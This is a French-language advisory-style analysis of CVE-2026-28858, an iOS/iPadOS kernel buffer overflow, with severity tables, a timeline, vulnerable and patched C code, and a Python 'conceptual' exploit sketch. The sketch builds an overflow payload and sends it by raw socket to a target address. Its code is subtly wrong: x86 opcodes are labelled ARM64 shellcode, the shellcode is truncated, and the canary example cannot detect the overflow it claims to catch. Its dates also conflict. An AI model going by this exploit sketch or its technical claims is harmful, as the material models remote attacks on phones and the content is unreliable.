
Analyse technique de CVE-2026-28858, un débordement de tampon critique dans le noyau d'Apple iOS/iPadOS, incluant le flux d'exploitation, les mesures d'atténuation et des exemples de codage défensif.
╔══════════════════════════════════════════════════════════════╗
║ SEVERIDAD: CRÍTICA │ CVSS: 9.8 │ CWE-120 │ REMOTO ║
╚══════════════════════════════════════════════════════════════╝
Un utilisateur distant peut provoquer l'arrêt inattendu du système ou la corruption de la mémoire du noyau sur iOS/iPadOS sans interaction de l'utilisateur ni privilèges.
| Champ | Valeur |
|---|
| CVE ID | CVE-2026-28858 |
| EUVD | EUVD-2026-15131 |
| Publié | 25 mars 2026 |
| Dernière mise à jour | 26 mars 2026 |
| CVSS v3.1 | 9.8 / 10 — CRITIQUE |
| EPSS | 0.05% |
| Vecteur | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-120 — Copie de tampon sans vérification de taille |
| État | Analysé — Correctif disponible |
Débordement de tampon (Buffer Overflow) dans Apple iOS et iPadOS causé par une vérification des limites insuffisante dans le traitement des entrées du noyau.
Impact réel :
| Paramètre | Valeur | Description |
|---|---|---|
| Vecteur d'attaque | Réseau | Exploitable à distance |
| Complexité | Faible | Sans conditions spéciales |
| Privilèges requis | Aucun | Aucune authentification nécessaire |
| Interaction utilisateur | Aucune | Zero-click |
| Portée | Inchangée | Confinée au composant vulnérable |
| Confidentialité | Élevée | Accès complet aux données |
| Intégrité | Élevée | Modification totale possible |
| Disponibilité | Élevée | Crash du système |
Aucun exploit public n'existe pour CVE-2026-28858. La représentation suivante est conceptuelle, basée sur le CWE-120 et le vecteur d'attaque documenté.
# Représentation conceptuelle du débordement
import socket
# 1. Remplissage du tampon alloué (~512 octets typiques dans les handlers du noyau)
buffer_fill = b"A" * 512
# 2. Adresse de retour écrasée — pointe vers une zone contrôlée par l'attaquant
# Sur iOS/iPadOS réel : nécessite le contournement d'ASLR + PAC (Pointer Authentication Codes)
return_address = b"\x41\x42\x43\x44"
# 3. Shellcode : NOP sled + instructions malveillantes pour ARM64
shellcode = b"\x90" * 16 + b"\xeb\x12..." # NOP sled + payload
payload = buffer_fill + return_address + shellcode
# Livraison à distance sans interaction de l'utilisateur
# Exemple : paquet réseau avec champ de longueur manipulé
import struct
def craft_malicious_packet(target_ip: str, target_port: int):
"""
Crée un paquet avec des métadonnées malformées que le noyau
d'iOS traite en arrière-plan (sans UI utilisateur).
Ex : certificat TLS, métadonnée d'image, champ de protocole réseau.
"""
# En-tête légitime du protocole
header = struct.pack(">HH", 0x0001, 0xFFFF) # type=1, longueur=OVERFLOW
# Payload qui dépasse le tampon du noyau
malicious_data = header + payload
with socket.socket(socket.AF_INET, socket.SOCK_RAW) as s:
s.sendto(malicious_data, (target_ip, target_port))
[Réseau/WiFi/BT] → Paquet malformé
↓
[Processus iOS en arrière-plan] → Lit le champ "longueur" = 0xFFFF
↓
[memcpy(tampon_noyau, données, 0xFFFF)] → SANS VÉRIFICATION DES LIMITES
↓
[Débordement : shellcode écrit sur la pile/tas du noyau]
↓
[Processeur redirigé vers return_address de l'attaquant]
↓
[Exécution avec ring 0 / privilèges du noyau]
/* ❌ CODE VULNÉRABLE (avant le correctif) */
void procesar_entrada(char *datos_usuario, size_t longitud) {
char bufer_kernel[512];
memcpy(bufer_kernel, datos_usuario, longitud); // SANS vérification
}
/* ✅ CODE CORRIGÉ (iOS/iPadOS 26.4) */
void procesar_entrada(char *datos_usuario, size_t longitud) {
char bufer_kernel[512];
// Vérification des limites — correctif appliqué par Apple
if (longitud > sizeof(bufer_kernel)) {
kernel_log("CVE-2026-28858: entrée tronquée [%zu > 512]", longitud);
return; // Abandonner avant la copie
}
memcpy(bufer_kernel, datos_usuario, longitud);
}
/* Mécanisme de défense en profondeur : Stack Canary */
#include <string.h>
#define CANARY_VALUE 0xDEADBEEFCAFEBABE
void procesar_entrada_segura(char *datos_usuario, size_t longitud) {
uint64_t canary = CANARY_VALUE;
char bufer_seguro[512];
if (longitud > sizeof(bufer_seguro)) {
log_security_event("Tentative de débordement bloquée");
return;
}
memcpy(bufer_seguro, datos_usuario, longitud);
// Vérifier l'intégrité du canari après copie
if (canary != CANARY_VALUE) {
panic("Stack smashing détecté — CVE-2026-28858");
}
}
Action immédiate requise :
Mettre à jour vers iOS 26.4 / iPadOS 26.4 ou version ultérieure
23 mars 2026 → Publication initiale (EUVD)
24 mars 2026 → Avis Apple #126792 publié
24 mars 2026 → Première mention détectée (Feedly)
24 mars 2026 → Estimation CVSS par analyse automatique
25 mars 2026 → NVD attribue CVSS 9.8 — Critique
25 mars 2026 → Détection ajoutée à Qualys (ID : 610773)
26 mars 2026 → État : Analysé
Toutes les versions d'iOS et iPadOS antérieures à 26.4, y compris :
Voir la liste complète des CPE affectés dans la documentation de référence.
| Source | URL |
|---|---|
| Avis de sécurité Apple | https://support.apple.com/en-us/126792 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-28858 |
| CWE-120 | https://cwe.mitre.org/data/definitions/120.html |
Avertissement : Le code présenté est uniquement une représentation conceptuelle à des fins éducatives et de recherche défensive. Aucun exploit public n'existe pour CVE-2026-28858.